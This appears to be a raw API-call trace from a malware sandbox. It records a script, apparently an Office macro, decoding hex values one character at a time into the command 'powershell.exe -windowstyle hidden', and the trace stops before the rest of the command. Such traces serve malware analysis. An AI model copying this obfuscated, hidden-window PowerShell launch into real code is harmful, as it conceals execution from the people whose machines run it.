[0037.501] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.501] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.501] VarBstrCat (in: bstrLeft="powershell.", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.501] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] VarBstrCat (in: bstrLeft="&H", bstrRight="B4", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] VarParseNumFromStr (in: strIn="&HB4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.501] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.501] VarBstrCat (in: bstrLeft="powershell.e", bstrRight="x", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.502] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.502] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="powershell.ex", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.502] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.502] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="powershell.exe", bstrRight=" ", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.502] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="&H", bstrRight="69", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarParseNumFromStr (in: strIn="&H69", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.502] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="powershell.exe ", bstrRight="-", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.502] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.502] VarBstrCat (in: bstrLeft="&H", bstrRight="B3", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarParseNumFromStr (in: strIn="&HB3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.503] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="powershell.exe -", bstrRight="w", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.503] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="&H", bstrRight="A5", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarParseNumFromStr (in: strIn="&HA5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.503] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="powershell.exe -w", bstrRight="i", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.503] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.503] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="powershell.exe -wi", bstrRight="n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.503] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.503] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.503] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.503] VarBstrCat (in: bstrLeft="powershell.exe -win", bstrRight="d", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.504] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] VarBstrCat (in: bstrLeft="&H", bstrRight="AB", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.504] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.504] VarBstrCat (in: bstrLeft="powershell.exe -wind", bstrRight="o", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.504] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] VarBstrCat (in: bstrLeft="&H", bstrRight="B3", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] VarParseNumFromStr (in: strIn="&HB3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.504] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.504] VarBstrCat (in: bstrLeft="powershell.exe -windo", bstrRight="w", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.504] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] VarBstrCat (in: bstrLeft="&H", bstrRight="AF", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] VarParseNumFromStr (in: strIn="&HAF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.504] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.504] VarBstrCat (in: bstrLeft="powershell.exe -window", bstrRight="s", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.505] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.505] VarBstrCat (in: bstrLeft="&H", bstrRight="B0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.505] VarParseNumFromStr (in: strIn="&HB0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.505] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.505] VarBstrCat (in: bstrLeft="powershell.exe -windows", bstrRight="t", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.505] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.505] VarBstrCat (in: bstrLeft="&H", bstrRight="B5", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.505] VarParseNumFromStr (in: strIn="&HB5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.505] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.505] VarBstrCat (in: bstrLeft="powershell.exe -windowst", bstrRight="y", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.506] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.506] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="powershell.exe -windowsty", bstrRight="l", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.506] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.506] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="powershell.exe -windowstyl", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.506] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.506] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle", bstrRight=" ", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.506] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.506] VarBstrCat (in: bstrLeft="&H", bstrRight="A4", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarParseNumFromStr (in: strIn="&HA4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.507] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.507] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle ", bstrRight="h", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.507] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarBstrCat (in: bstrLeft="&H", bstrRight="A5", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarParseNumFromStr (in: strIn="&HA5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.507] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.507] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle h", bstrRight="i", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.507] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.507] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.507] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hi", bstrRight="d", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.507] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.507] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.507] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hid", bstrRight="d", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.508] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.508] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidd", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.508] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.508] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidde", bstrRight="n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.508] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.508] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.508] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.508] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden", bstrRight=" ", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.509] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] VarBstrCat (in: bstrLeft="&H", bstrRight="69", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] VarParseNumFromStr (in: strIn="&H69", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 